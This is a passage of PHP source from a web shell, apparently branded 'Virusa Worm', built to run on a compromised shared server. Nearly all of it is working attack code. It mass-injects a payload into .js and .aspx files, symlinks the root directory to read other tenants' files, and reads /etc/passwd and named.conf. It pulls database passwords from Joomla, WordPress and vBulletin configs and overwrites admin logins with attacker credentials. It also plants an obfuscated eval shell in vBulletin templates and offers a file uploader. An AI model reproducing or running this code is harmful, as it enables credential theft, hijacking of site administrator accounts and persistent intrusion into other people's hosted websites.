  542.                         $fp = fopen($injectj00, "a+");
  543.                         if (fputs($fp, $lolinject)) {
  544.                             echo $injectj00 . ' was injected<br>';
  545.                         } else {
  546.                             echo '<font color=red>failed to inject ' . $injectj00 . '</font>';
  547.                         }
  548.                     }
  549.                     foreach (glob($_GET['dir'] . "/*.js") as $injectj00) {
  550.                         $fp = fopen($injectj00, "a+");
  551.                         if (fputs($fp, $lolinject)) {
  552.                             echo $injectj00 . ' was injected<br>';
  553.                         } else {
  554.                             echo '<font color=red>failed to inject ' . $injectj00 . '</font>';
  555.                         }
  556.                     }
  557.                     foreach (glob($_GET['dir'] . "/*.aspx") as $injectj00) {
  558.                         $fp = fopen($injectj00, "a+");
  559.                         if (fputs($fp, $lolinject)) {
  560.                             echo $injectj00 . ' was injected<br>';
  561.                         } else {
  562.                             echo '<font color=red>failed to inject ' . $injectj00 . '</font>';
  563.                         }
  564.                     }
  565.                 } else { //end if inputted dir is real -- if not, show an ugly red error
  566.                     echo '<b><font color=red>' . $_GET['pathtomass'] . ' is not available!</font></b>';
  567.                 } // end if inputted dir is real, for real this time
  568.                
  569.             }
  570.             break;
  571.         case 'posget':
  572.             echo '<br><b class="cont" align="center"><font face="Tahoma" color="#009900" size="3pt">Bypass posix_getpwuid</b><br><br>';
  573.             echo '<form method="POST">
  574. <input size="20" value="0" name="min" type="text">
  575. <font face="Tahoma" color="#008800" size="2pt">to </font>
  576. <input size="20" value="1024" name="max" type="text"> <input value="Symlink" name="" type="submit">
  577. </form><br>';
  578.             if ($_POST) {
  579.                 $min = $_POST['min'];
  580.                 $max = $_POST['max'];
  581.                 echo "<div class='tmp'><table align='center' width='40%'><td><font color='#b3b3b3'><b>Domains</b></font></td><td><font color='#b3b3b3'><b>Users</b></font></td><td><font color='#b3b3b3'><b>Symlink</b> </font></td>";
  582.                 $p = 0;
  583.                 error_reporting(0);
  584.                 $list = scandir("/var/named");
  585.                 for ($p = $min;$min <= $max;$p++) {
  586.                     $user = posix_getpwuid($p);
  587.                     if (is_array($user)) {
  588.                         foreach ($list as $domain) {
  589.                             if (strpos($domain, ".db")) {
  590.                                 $domain = str_replace('.db', '', $domain);
  591.                                 $owner = posix_getpwuid(fileowner("/etc/valiases/" . $domain));
  592.                                 if ($owner['name'] == $user['name']) {
  593.                                     $i+= 1;
  594.                                     $cheechee = checkAlexa($domain);
  595.                                     echo "<tr><td class='cone'><a href='http://" . $domain . " '>" . $domain . "</a> <font color='#d0d000'>- </font><font color='#b3b3b3'>" . $cheechee . "</font></td><center><td class='cone'><font color='#d0d000'>" . $user['name'] . "</font></center></td><td class='cone'><center><a href='sim/rut" . $owner['dir'] . "/public_html/' target='_blank'>Dir</a></center></td>";
  596.                                 }
  597.                             }
  598.                         }
  599.                     }
  600.                 }
  601.                 echo "<center><font face='Tahoma' color='#d0d000' size='2pt'>Total Domains Found:</font><font face='Tahoma' color='#d0d000' size='2pt'> " . $i . "</font></center><br />";
  602.             }
  603.             echo "</table></div><br><br>";
  604.             break;
  605.         case 'bforb':
  606.             echo '<br><b class="cont" align="center"><font face="Tahoma" color="#009900" size="3pt">Bypass Forbidden Server</b><br>';
  607.             mkdir('bforb', 0755);
  608.             chdir('bforb');
  609.             $bforb = 'PGhlYWQ+PHRpdGxlPkJ5cGFzcyBGb3JiaWRkZW4gYnkgVmlydXNhIFdvcm08L3RpdGxlPjwvaGVhZD48bGluayByZWw9InNob3J0Y3V0IGljb24iIGhyZWY9Imh0dHA6Ly93d3cuaWNvbmouY29tL2ljby9jL3UvY3UxYm1wZ2Ixay5pY28iIHR5cGU9ImltYWdlL3gtaWNvbiIgLz48c3R5bGUgdHlwZT0idGV4dC9jc3MiPjwhLS0gYm9keSB7YmFja2dyb3VuZC1jb2xvcjogIzE1MTUxNTsgZm9udC1mYW1pbHk6Q291cmllcgltYXJnaW4tbGVmdDogMHB4OyBtYXJnaW4tdG9wOiAwcHg7IHRleHQtYWxpZ246IGNlbnRlcjsgTmV3O2ZvbnQtc2l6ZToxMnB4O2NvbG9yOiMwMDk5MDA7Zm9udC13ZWlnaHQ6NDAwO30gYXt0ZXh0LWRlY29yYXRpb246bm9uZTt9IGE6bGluayB7Y29sb3I6IzAwOTkwMDt9IGE6dmlzaXRlZCB7Y29sb3I6IzAwODA4MDt9IGE6aG92ZXJ7Y29sb3I6I2ZmMDAwMDt9IGE6YWN0aXZlIHtjb2xvcjojMDBhMmEyO30gLS0+PCEtLSBNYWRlIEJ5IFZpcnVzYSBXb3JtIC0tPjwvc3R5bGU+PGJyPjxicj48Ym9keSBiZ0NvbG9yPSIxNTE1MTUiPjx0cj48dGQ+PD9waHAgZWNobyAiPGZvcm0gbWV0aG9kPSdQT1NUJyBhY3Rpb249Jyc+IiA7IGVjaG8gIjxjZW50ZXI+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0J5cGFzcyBpdCcgbmFtZT0ndmlydXNhJz48L2NlbnRlcj4iOyBpZiAoaXNzZXQoJF9QT1NUWyd2aXJ1c2EnXSkpeyBzeXN0ZW0oJ2xuIC1zIC8gdmlydXNhLnR4dCcpOyAkZnZja2VtID0nVDNCMGFXOXVjeUJKYm1SbGVHVnpJRVp2Ykd4dmQxTjViVXhwYm10ekRRcEVhWEpsWTNSdmNubEpibVJsZUNCemMzTnpjM011YUhSdERRcEJaR1JVZVhCbElIUjRkQ0F1Y0dod0RRcEJaR1JJWVc1a2JHVnlJSFI0ZENBdWNHaHcnOyAkZmlsZSA9IGZvcGVuKCIuaHRhY2Nlc3MiLCJ3KyIpOyAkd3JpdGUgPSBmd3JpdGUgKCRmaWxlICxiYXNlNjRfZGVjb2RlKCRmdmNrZW0pKTsgJHZpcnVzYSA9IHN5bWxpbmsoIi8iLCJ2aXJ1c2EudHh0Iik7ICRydD0iPGJyPjxhIGhyZWY9dmlydXNhLnR4dCBUQVJHRVQ9J19ibGFuayc+PGZvbnQgY29sb3I9I2ZmMDAwMCBzaXplPTIgZmFjZT0nQ291cmllciBOZXcnPjxiPkJ5cGFzc2VkIFN1Y2Nlc3NmdWxseTwvYj48L2ZvbnQ+PC9hPiI7IGVjaG8gIjxicj48YnI+PGI+RG9uZS4uICE8L2I+PGJyPjxicj5DaGVjayBsaW5rIGdpdmVuIGJlbG93IGZvciAvIGZvbGRlciBzeW1saW5rIDxicj4kcnQ8L2NlbnRlcj4iO30gZWNobyAiPC9mb3JtPiI7ICA/PjwvdGQ+PC90cj48L2JvZHk+PC9odG1sPg==';
  610.             $file = fopen("bforb.php", "w+");
  611.             $write = fwrite($file, base64_decode($bforb));
  612.             fclose($file);
  613.             chmod("bforb.php", 0755);
  614.             echo "<iframe src=bforb/bforb.php width=60% height=60% frameborder=0></iframe>";
  615.             break;
  616.         case 'sym':
  617.             echo '<br><b class="cont" align="center"><font face="Tahoma" color="#009900" size="3pt">Symlink Server</font></b><br><br>';
  618.             if (!is_file('named.txt')) {
  619.                 $d00m = @file("/etc/named.conf");
  620.             } else {
  621.                 $d00m = @file("named.txt");
  622.             }
  623.             if (!$d00m) {
  624.                 die("<meta http-equiv='refresh' content='0; url=?vw=read'/>");
  625.             } else {
  626.                 echo "<div class='tmp'><table align='center' width='40%'><td><font color='#b3b3b3'><b>Domains</b></font></td><td><font color='#b3b3b3'><b>Users</b></font></td><td><font color='#b3b3b3'><b>symlink</b> </font></td>";
  627.                 foreach ($d00m as $dom) {
  628.                     if (eregi("zone", $dom)) {
  629.                         preg_match_all('#zone "(.*)"#', $dom, $domvw);
  630.                         flush();
  631.                         if (strlen(trim($domvw[1][0])) > 2) {
  632.                             $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domvw[1][0]));
  633.                             flush();
  634.                             $site = $user['name'];
  635.                             @symlink("/", "sim/rut");
  636.                             $site = $domvw[1][0];
  637.                             $ir = 'ir';
  638.                             $il = 'il';
  639.                             if (preg_match("/.^$ir/", $domvw[1][0]) or preg_match("/.^$il/", $domvw[1][0])) {
  640.                                 $site = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>" . $domvw[1][0] . "</div>";
  641.                             }
  642.                             echo "
  643. <tr>
  644.  
  645. <td>
  646. <div class='cone'><a target='_blank' href=http://www." . $domvw[1][0] . "/>" . $site . " </a> </div>
  647. </td>
  648.  
  649.  
  650. <td><font face='Tahoma' color='#d0d000' size='2pt'>
  651. " . $user['name'] . "
  652. </td></font>
  653.  
  654.  
  655.  
  656.  
  657.  
  658.  
  659. <td>
  660. <div class='cone'><a href='sim/rut/home/" . $user['name'] . "/public_html' target='_blank'>symlink </a></div>
  661. </td>
  662.  
  663.  
  664. </tr></div> ";
  665.                             flush();
  666.                             flush();
  667.                         }
  668.                     }
  669.                 }
  670.             }
  671.             echo "</table></div><br><br>";
  672.             break;
  673.         case 'file':
  674.             echo '
  675. <br><b class="cont" align="center"><font face="Tahoma" color="#009900" size="3pt">Symlink Manual</font></b>
  676.  
  677. <br /><br />
  678. <form method="post">
  679. <input type="text" name="file" value="/home/user/public_html/file.name" size="60"/><br /><br />
  680. <input type="text" name="symfile" value="file name symlink .txt" size="60"/><br /><br />
  681. <input type="submit" value="symlink" name="symlink" /> <br /><br />
  682.  
  683.  
  684.  
  685. </form>
  686. ';
  687.             $pfile = $_POST['file'];
  688.             $symfile = $_POST['symfile'];
  689.             $symlink = $_POST['symlink'];
  690.             if ($symlink) {
  691.                 @mkdir('simfel', 0777);
  692.                 $c = "Options Indexes FollowSymLinks
  693. DirectoryIndex ssssss.htm
  694. AddType txt .php
  695. AddHandler txt .php
  696.  AddType txt .html
  697. AddHandler txt .html
  698. Options all
  699. Options
  700. Allow from all
  701. Require None
  702. Satisfy Any";
  703.                 $f = @fopen('simfel/.htaccess', 'w');
  704.                 @fwrite($f, $c);
  705.                 @symlink("$pfile", "simfel/$symfile");
  706.                 echo '<br /><font face="Tahoma" color="#009900" size="3pt"><b>Done.. !</b><br></font><div class="cont" align="center"><font face="Tahoma" color="#009900" size="2pt">Open this file -> <a target="_blank" href="simfel/' . $symfile . '" >' . $symfile . '</a></font></div>';
  707.             }
  708.             break;
  709.         case 'read':
  710.             echo "<br><b class='cont' align='center'><font face='Tahoma' color='#009900' size='3pt'>Read /etc/passwd</font></b>";
  711.             echo "<br /><br /><form method='post' action='?vw=read&save=1'><textarea cols='80' rows='15' name='file'>";
  712.             flush();
  713.             flush();
  714.             $file = '/etc/named.conf';
  715.             $w0co = @fopen($file, 'r');
  716.             if ($w0co) {
  717.                 $content = @fread($w0co, @filesize($file));
  718.                 echo "" . htmlentities($content) . "";
  719.             } else if (!$w0co) {
  720.                 $w0co = @show_source($file);
  721.             } else if (!$w0co) {
  722.                 $w0co = @highlight_file($file);
  723.             } else if (!$w0co) {
  724.                 $sm = @symlink($file, 'sym.txt');
  725.                 if ($sm) {
  726.                     $w0co = @fopen('sim/sym.txt', 'r');
  727.                     $content = @fread($w0co, @filesize($file));
  728.                     echo "" . htmlentities($content) . "";
  729.                 }
  730.             }
  731.             echo "</textarea><br /><br /><input  type='submit' value='Save'/> </form>";
  732.             if (isset($_GET['save'])) {
  733.                 $cont = stripcslashes($_POST['file']);
  734.                 $f = fopen('named.txt', 'w');
  735.                 $w = fwrite($f, $cont);
  736.                 if ($w) {
  737.                     echo '<br />save has been successfully';
  738.                 }
  739.                 fclose($f);
  740.             }
  741.             break;
  742.         case 'passwd':
  743.             echo '<br><b class="cont" align="center"><font face="Tahoma" color="#009900" size="3pt">Read /etc/passwd</font></b>';
  744.             if (isset($_GET['save']) and isset($_POST['file']) or @filesize('passwd.txt') > 0) {
  745.                 $cont = stripcslashes($_POST['file']);
  746.                 if (!file_exists('passwd.txt')) {
  747.                     $f = @fopen('passwd.txt', 'w');
  748.                     $w = @fwrite($f, $cont);
  749.                     fclose($f);
  750.                 }
  751.                 if ($w or @filesize('passwd.txt') > 0) {
  752.                     echo "<div class='tmp'><table align='center' width='35%'><td>Users</td><td>symlink</td><td>FTP</td></div>";
  753.                     flush();
  754.                     $fil3 = file('passwd.txt');
  755.                     foreach ($fil3 as $f) {
  756.                         $u = explode(':', $f);
  757.                         $user = $u['0'];
  758.                         echo "
  759. <tr>
  760.  
  761.  
  762.  
  763. <td width='15%'>
  764. $user
  765. </td>
  766.  
  767.  
  768.  
  769.  
  770.  
  771.  
  772. <td width='10%'><div class='cone'>
  773. <a href='sim/rut/home/$user/public_html' target='_blank'>Symlink </a></div>
  774. </td>
  775.  
  776. <td width='10%'><div class='cone'>
  777. <a href='$pageFTP/sim/rut/home/$user/public_html' target='_blank'>FTP</a></div>
  778. </td>
  779.  
  780.  
  781.  
  782. </tr></div> ";
  783.                         flush();
  784.                         flush();
  785.                     }
  786.                     die("</tr></div>");
  787.                 }
  788.             }
  789.             echo "<br /><br /><form method='post' action='?vw=passwd&save=1'><textarea cols='80' rows='15' name='file'>";
  790.             flush();
  791.             $file = '/etc/passwd';
  792.             $w0co = @fopen($file, 'r');
  793.             if ($w0co) {
  794.                 $content = @fread($w0co, @filesize($file));
  795.                 echo "" . htmlentities($content) . "";
  796.             } elseif (!$w0co) {
  797.                 $w0co = @show_source($file);
  798.             } elseif (!$w0co) {
  799.                 $w0co = @highlight_file($file);
  800.             } elseif (!$w0co) {
  801.                 for ($uid = 0;$uid < 1000;$uid++) {
  802.                     $ara = posix_getpwuid($uid);
  803.                     if (!empty($ara)) {
  804.                         while (list($key, $val) = each($ara)) {
  805.                             print "$val:";
  806.                         }
  807.                         print "
  808. ";
  809.                     }
  810.                 }
  811.             }
  812.             flush();
  813.             echo "</textarea><br /><br /><input  type='submit' value='&nbsp;&nbsp;symlink&nbsp;&nbsp;'/> </form>";
  814.             flush();
  815.             break;
  816.         case 'joomla':
  817.             if (isset($_POST['s'])) {
  818.                 $file = @file_get_contents('joomla.txt');
  819.                 $ex = explode("
  820. ", $file);
  821.                 echo "<div class='tmp'><table align='center' width='40%'><td> <font color='#b3b3b3'><b>Domains </b></font></td><td> <font color='#b3b3b3'><b>Configs </b></font></td><td> <font color='#b3b3b3'><b>Result </b></font></td></div>";
  822.                 flush();
  823.                 foreach ($ex as $exp) {
  824.                     $es = explode("||", $exp);
  825.                     $config = $es[0];
  826.                     $domin = $es[1];
  827.                     $domins = trim($domin) . '';
  828.                     $readconfig = @file_get_contents(trim($config));
  829.                     if (ereg('JConfig', $readconfig)) {
  830.                         $pass = ex($readconfig, '$password = \'', "';");
  831.                         $userdb = ex($readconfig, '$user = \'', "';");
  832.                         $db = ex($readconfig, '$db = \'', "';");
  833.                         $fix = ex($readconfig, '$dbprefix = \'', "';");
  834.                         $tab = $fix . 'users';
  835.                         $con = @mysql_connect('localhost', $userdb, $pass);
  836.                         $db = @mysql_select_db($db, $con);
  837.                         $query = @mysql_query("UPDATE `$tab`  SET `username` ='virusa'");
  838.                         $query3 = @mysql_query("UPDATE `$tab`  SET `password` ='0a3329119bf465dce95057a37ec91152:TL1fIDogLJU4bHHcgQWETu8GN67fUd8'");
  839.                         if ($query and $query3) {
  840.                             $r = '<b style="color: #006600">Succeed </b>user [virusa] pass [worm]</b>';
  841.                         } else {
  842.                             $r = '<b style="color:red">failed</b>';
  843.                         }
  844.                         $domins = trim($domin) . '';
  845.                         echo "<tr>
  846. <td><div class='cone'><a target='_blank' href='http://$domins'>$domin</a></div></td>
  847. <td><div class='cone'><a target='_blank' href='$config'>config</a></td><td>" . $r . "</td></div></tr>";
  848.                         flush();
  849.                     } else {
  850.                         echo "<tr>
  851. <td><div class='cone'><a target='_blank' href='http://$domins'>$domin</a></div></td>
  852. <td><div class='cone'><a target='_blank' href='http://$exp'>config</a></div></td><td><b style='color:red'>failed</b></td></tr>";
  853.                         flush();
  854.                     }
  855.                 }
  856.                 die();
  857.             }
  858.             if (!is_file('named.txt')) {
  859.                 $d00m = @file("/etc/named.conf");
  860.                 flush();
  861.             } else {
  862.                 $d00m = file("named.txt");
  863.             }
  864.             if (!$d00m) {
  865.                 die("<meta http-equiv='refresh' content='0; url=?vw=read'/>");
  866.             } else {
  867.                 echo "<br><b class='cont' align='center'><font face='Tahoma' color='#009900' size='3pt'>Mass Joomla</font></b><br><br><div class='tmp'>
  868. <form method='POST' action='$pg?vw=joomla'>
  869. <input type='submit' value='Mass change Admin' />
  870. <input type='hidden' value='1' name='s' />
  871. </form><br>
  872. <table align='center' width='40%'><td> <font color='#b3b3b3'><b>Domains </b></font></td><td> <font color='#b3b3b3'><b>config </b></font></td><td> <font color='#b3b3b3'><b>Result </b></font></td>";
  873.                 $f = fopen('joomla.txt', 'w');
  874.                 foreach ($d00m as $dom) {
  875.                     if (eregi("zone", $dom)) {
  876.                         preg_match_all('#zone "(.*)"#', $dom, $domvw);
  877.                         if (strlen(trim($domvw[1][0])) > 2) {
  878.                             $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domvw[1][0]));
  879.                             $wpl = $pageURL . "/sim/rut/home/" . $user['name'] . "/public_html/configuration.php";
  880.                             $wpp = get_headers($wpl);
  881.                             $wp = $wpp[0];
  882.                             $wp2 = $pageURL . "/sim/rut/home/" . $user['name'] . "/public_html/blog/configuration.php";
  883.                             $wpp2 = get_headers($wp2);
  884.                             $wp12 = $wpp2[0];
  885.                             $wp3 = $pageURL . "/sim/rut/home/" . $user['name'] . "/public_html/joomla/configuration.php";
  886.                             $wpp3 = get_headers($wp3);
  887.                             $wp13 = $wpp3[0];
  888.                             $pos = strpos($wp, "200");
  889.                             $config = "&nbsp;";
  890.                             if (strpos($wp, "200") == true) {
  891.                                 $config = $wpl;
  892.                             } elseif (strpos($wp12, "200") == true) {
  893.                                 $config = $wp2;
  894.                             } elseif (strpos($wp13, "200") == true) {
  895.                                 $config = $wp3;
  896.                             } else {
  897.                                 continue;
  898.                             }
  899.                             flush();
  900.                             $dom = $domvw[1][0];
  901.                             $w = fwrite($f, "$config||$dom
  902. ");
  903.                             if ($w) {
  904.                                 $r = '<b style="color: #006600">Save</b>';
  905.                             } else {
  906.                                 $r = '<b style="color:red">failed</b>';
  907.                             }
  908.                             echo "<tr><td><div class='cone'><a href=http://www." . $domvw[1][0] . ">" . $domvw[1][0] . "</a></div></td>
  909. <td><div class='cone'><a href='$config'>config</a></div></td><td>" . $r . "</td></tr>";
  910.                             flush();
  911.                         }
  912.                     }
  913.                 }
  914.             }
  915.             echo "</table></div><br><br>";
  916.             break;
  917.         case 'wp':
  918.             if (isset($_POST['s'])) {
  919.                 $file = @file_get_contents('wp.txt');
  920.                 $ex = explode("
  921. ", $file);
  922.                 echo "<div class='tmp'><table align='center' width='40%'><td> <font color='#b3b3b3'><b>Domains </b></font></td><td> <font color='#b3b3b3'><b>Configs </b></font></td><td> <font color='#b3b3b3'><b>Result </b></font></td></div>";
  923.                 flush();
  924.                 flush();
  925.                 foreach ($ex as $exp) {
  926.                     $es = explode("||", $exp);
  927.                     $config = $es[0];
  928.                     $domin = $es[1];
  929.                     $domins = trim($domin) . '';
  930.                     $readconfig = @file_get_contents(trim($config));
  931.                     if (ereg('wp-settings.php', $readconfig)) {
  932.                         $pass = ex($readconfig, "define('DB_PASSWORD', '", "');");
  933.                         $userdb = ex($readconfig, "define('DB_USER', '", "');");
  934.                         $db = ex($readconfig, "define('DB_NAME', '", "');");
  935.                         $fix = ex($readconfig, '$table_prefix  = \'', "';");
  936.                         $tab = $fix . 'users';
  937.                         $con = @mysql_connect('localhost', $userdb, $pass);
  938.                         $db = @mysql_select_db($db, $con);
  939.                         $query = @mysql_query("UPDATE `$tab` SET `user_login` ='virusa'") or die;
  940.                         $query = @mysql_query("UPDATE `$tab` SET `user_pass` ='$1$4z/.5i..$9aHYB.fUHEmNZ.eIKYTwx/'") or die;
  941.                         if ($query) {
  942.                             $r = '<b style="color: #006600">Succeed </b>user [virusa] pass [1]</b>';
  943.                         } else {
  944.                             $r = '<b style="color:red">failed</b>';
  945.                         }
  946.                         $domins = trim($domin) . '';
  947.                         echo "<tr>
  948. <td><div class='cone'><a target='_blank' href='http://$domins'>$domin</a></div></td>
  949. <td><div class='cone'><a target='_blank' href='$config'>config</a></div></td><td>" . $r . "</td></tr>";
  950.                         flush();
  951.                         flush();
  952.                     } else {
  953.                         echo "<tr>
  954. <td><div class='cone'><a target='_blank' href='http://$domins'>$domin</a></div></td>
  955. <td><div class='cone'><a target='_blank' href='http://$config'>config</a></div></td><td><b style='color:red'>failed2</b></td></tr>";
  956.                         flush();
  957.                         flush();
  958.                     }
  959.                 }
  960.                 die();
  961.             }
  962.             if (!is_file('named.txt')) {
  963.                 $d00m = @file("/etc/named.conf");
  964.             } else {
  965.                 $d00m = @file("named.txt");
  966.             }
  967.             if (!$d00m) {
  968.                 die("<meta http-equiv='refresh' content='0; url=?vw=read'/>");
  969.             } else {
  970.                 echo "<br><b class='cont' align='center'><font face='Tahoma' color='#009900' size='3pt'>Mass WordPress</font></b><br><br><div class='tmp'>
  971. <form method='POST' action='$pg?vw=wp'>
  972. <input type='submit' value='Mass Change Admin' />
  973. <input type='hidden' value='1' name='s' />
  974. </form>
  975. <br>
  976. <table align='center' width='40%'><td> <font color='#b3b3b3'><b>Domains </b></font></td><td> <font color='#b3b3b3'><b>config </b></font></td><td> <font color='#b3b3b3'><b>Result </b></font></td>";
  977.                 flush();
  978.                 flush();
  979.                 $f = fopen('wp.txt', 'w');
  980.                 foreach ($d00m as $dom) {
  981.                     if (eregi("zone", $dom)) {
  982.                         preg_match_all('#zone "(.*)"#', $dom, $domvw);
  983.                         if (strlen(trim($domvw[1][0])) > 2) {
  984.                             $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domvw[1][0]));
  985.                             $wpl = $pageURL . "/sim/rut/home/" . $user['name'] . "/public_html/wp-config.php";
  986.                             $wpp = get_headers($wpl);
  987.                             $wp = $wpp[0];
  988.                             $wp2 = $pageURL . "/sim/rut/home/" . $user['name'] . "/public_html/blog/wp-config.php";
  989.                             $wpp2 = get_headers($wp2);
  990.                             $wp12 = $wpp2[0];
  991.                             $wp3 = $pageURL . "/sim/rut/home/" . $user['name'] . "/public_html/wp/wp-config";
  992.                             $wpp3 = get_headers($wp3);
  993.                             $wp13 = $wpp3[0];
  994.                             $pos = strpos($wp, "200");
  995.                             $config = "&nbsp;";
  996.                             if (strpos($wp, "200") == true) {
  997.                                 $config = $wpl;
  998.                             } elseif (strpos($wp12, "200") == true) {
  999.                                 $config = $wp2;
  1000.                             } elseif (strpos($wp13, "200") == true) {
  1001.                                 $config = $wp3;
  1002.                             } else {
  1003.                                 continue;
  1004.                             }
  1005.                             flush();
  1006.                             $dom = $domvw[1][0];
  1007.                             $w = fwrite($f, "$config||$dom
  1008. ");
  1009.                             if ($w) {
  1010.                                 $r = '<b style="color: #006600">Save</b>';
  1011.                             } else {
  1012.                                 $r = '<b style="color:red">failed</b>';
  1013.                             }
  1014.                             echo "<tr><td><div class='cone'><a href=http://www." . $domvw[1][0] . ">" . $domvw[1][0] . "</a></div></td>
  1015. <td><div class='cone'><a href='$config'>config</a></div></td><td>" . $r . "</td></tr>";
  1016.                             flush();
  1017.                             flush();
  1018.                             flush();
  1019.                         }
  1020.                     }
  1021.                 }
  1022.             }
  1023.             echo "</table></div><br><br>";
  1024.             break;
  1025.         case 'vb':
  1026.             if (isset($_POST['s'])) {
  1027.                 $file = @file_get_contents('vb.txt');
  1028.                 $ex = explode("
  1029. ", $file);
  1030.                 echo "<div class='tmp'><table align='center' width='40%'><td> <font color='#b3b3b3'><b>Domains </b><font></td><td> <font color='#b3b3b3'><b>Configs </b><font></td><td> <font color='#b3b3b3'><b>Result </b><font></td></div>";
  1031.                 foreach ($ex as $exp) {
  1032.                     $es = explode("||", $exp);
  1033.                     $config = $es[0];
  1034.                     $domin = $es[1];
  1035.                     $domins = trim($domin) . '';
  1036.                     $readconfig = @file_get_contents(trim($config));
  1037.                     if (ereg('vBulletin', $readconfig)) {
  1038.                         $db = ex($readconfig, '$config[\'Database\'][\'dbname\'] = \'', "';");
  1039.                         $userdb = ex($readconfig, '$config[\'MasterServer\'][\'username\'] = \'', "';");
  1040.                         $pass = ex($readconfig, '$config[\'MasterServer\'][\'password\'] = \'', "';");
  1041.                         $con = @mysql_connect('localhost', $userdb, $pass);
  1042.                         $db = @mysql_select_db($db, $con);
  1043.                         $shell = "bVDPS8MwFL4L/g+vYZAWdPPiaUv14kAQFKqnUUqapjSYNKFJxCn7322abgzcIfDyvl+P7/qKs04D3tS5sJ96MMJ9b+ohDw8vTWcq31PF02yJp/WqzvEaZk2rBwWUOaF7ghAo7jrdEGS0dQh4z9zecIKUl04YOrhV4N821FEEwZQgb6SmDR8QiObsdxYheuMdRKNWSH5UxtmKn3G+v0P5TIxgNTqhWWR9rYSLAXH/RaUfgY8pbVROZ4VI0aawqN5ei/cdDlRcAiFwJEIGv4HyyLTZp4tq+/zyVOxwOASXO+yUqUI6Lm/gHxiBLDic6o62UHjGuLWQJEko99T9Gg7ApeUXJFsq5EX+AR7yPw==";
  1044.                         $crypt = "{\${eval(gzinflate(base64_decode(\'";
  1045.                         $crypt.= "$shell";
  1046.                         $crypt.= "\')))}}{\${exit()}}</textarea>";
  1047.                         $sqlfaq = "UPDATE template SET template ='" . $crypt . "' WHERE title ='FAQ'";
  1048.                         $query = @mysql_query($sqlfaq, $con);
  1049.                         if ($query) {
  1050.                             $r = '<b style="color: #006600">Succeed</b> shell in search.php';
  1051.                         } else {
  1052.                             $r = '<b style="color:red">failed</b>';
  1053.                         }
  1054.                         $domins = trim($domin) . '';
  1055.                         echo "<tr>
  1056. <td><div class='cone'><a target='_blank' href='http://$domins'>$domin</a></div></td>
  1057. <td><div class='cone'><a target='_blank' href='$config'>config</a></div></td><td>" . $r . "</td></tr>";
  1058.                     } else {
  1059.                         echo "<tr>
  1060. <td><div class='cone'><a target='_blank' href='http://$domins'>$domin</a></div></td>
  1061. <td><div class='cone'><a target='_blank' href='http://$config'>config</a></div></td><td><b style='color:red'>failed2</b></td></tr>";
  1062.                     }
  1063.                 }
  1064.                 die();
  1065.             }
  1066.             if (!is_file('named.txt')) {
  1067.                 $d00m = file("/etc/named.conf");
  1068.             } else {
  1069.                 $d00m = file("named.txt");
  1070.             }
  1071.             if (!$d00m) {
  1072.                 die("<meta http-equiv='refresh' content='0; url=?vw=read'/>");
  1073.             } else {
  1074.                 echo "<br><b class='cont' align='center'><font face='Tahoma' color='#009900' size='3pt'>Mass vBulletin</font></b><br><br><div class='tmp'>
  1075. <form method='POST' action='$pg?vw=vb'>
  1076. <input type='submit' value='Inject shell' />
  1077. <input type='hidden' value='1' name='s' />
  1078. </form>
  1079. <br>
  1080. <table align='center' width='40%'><td> <font color='#b3b3b3'><b>Domains </b></font></td><td> <font color='#b3b3b3'><b>config </b></font></td><td> <font color='#b3b3b3'><b>Result </b></font></td>";
  1081.                 $f = fopen('vb.txt', 'w');
  1082.                 foreach ($d00m as $dom) {
  1083.                     if (eregi("zone", $dom)) {
  1084.                         preg_match_all('#zone "(.*)"#', $dom, $domvw);
  1085.                         if (strlen(trim($domvw[1][0])) > 2) {
  1086.                             $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domvw[1][0]));
  1087.                             ///////////////////////////////////////////////////////////////////////////////////
  1088.                             $wpl = $pageURL . "/sim/rut/home/" . $user['name'] . "/includes/config.php";
  1089.                             $wpp = get_headers($wpl);
  1090.                             $wp = $wpp[0];
  1091.                             $wp2 = $pageURL . "/sim/rut/home/" . $user['name'] . "/vb/includes/config.php";
  1092.                             $wpp2 = get_headers($wp2);
  1093.                             $wp12 = $wpp2[0];
  1094.                             $wp3 = $pageURL . "/sim/rut/home/" . $user['name'] . "/forum/includes/config.php";
  1095.                             $wpp3 = get_headers($wp3);
  1096.                             $wp13 = $wpp3[0];
  1097.                             ////////// vb ////////////
  1098.                             $pos = strpos($wp, "200");
  1099.                             $config = "&nbsp;";
  1100.                             if (strpos($wp, "200") == true) {
  1101.                                 $config = $wpl;
  1102.                             } elseif (strpos($wp12, "200") == true) {
  1103.                                 $config = $wp2;
  1104.                             } elseif (strpos($wp13, "200") == true) {
  1105.                                 $config = $wp3;
  1106.                             } else {
  1107.                                 continue;
  1108.                             }
  1109.                             flush();
  1110.                             /////////////////////////////////////////////////////////////////////////////////////
  1111.                             $dom = $domvw[1][0];
  1112.                             $w = fwrite($f, "$config||$dom
  1113. ");
  1114.                             if ($w) {
  1115.                                 $r = '<b style="color: #006600">Save</b>';
  1116.                             } else {
  1117.                                 $r = '<b style="color:red">failed</b>';
  1118.                             }
  1119.                             echo "<tr><td><div class='cone'><a href=http://www." . $domvw[1][0] . ">" . $domvw[1][0] . "</a></div></td>
  1120. <td><div class='cone'><a href='$config'>config</a></div></td><td>" . $r . "</td></tr>";
  1121.                             flush();
  1122.                         }
  1123.                     }
  1124.                 }
  1125.             }
  1126.             echo "</table></div><br><br>";
  1127.             break;
  1128.             /// aplot start ///
  1129.            
  1130.         case 'aplot':
  1131.             echo '
  1132. <br><b class="cont" align="center"><font face="Tahoma" color="#009900" size="3pt">Uploader</font></b><br><br><center>';
  1133.             echo '<br /><br /><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
  1134.             echo '<input type="file" name="file" value="Choose file" size="60" > <input name="_upl" type="submit" id="_upl" value="Upload"></form>';
  1135.             if ($_POST['_upl'] == "Upload") {
  1136.                 if (@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
  1137.                     echo '<br /><br /><b>upload sukses.. <img src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif"><br><br>';
  1138.                 } else {
  1139.                     echo '<br /><br />aseeeemmm.., ora iso upload <img src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/24.gif"><br><br>';
  1140.                 }
  1141.             }
  1142.             break;
  1143.         case 'abot':
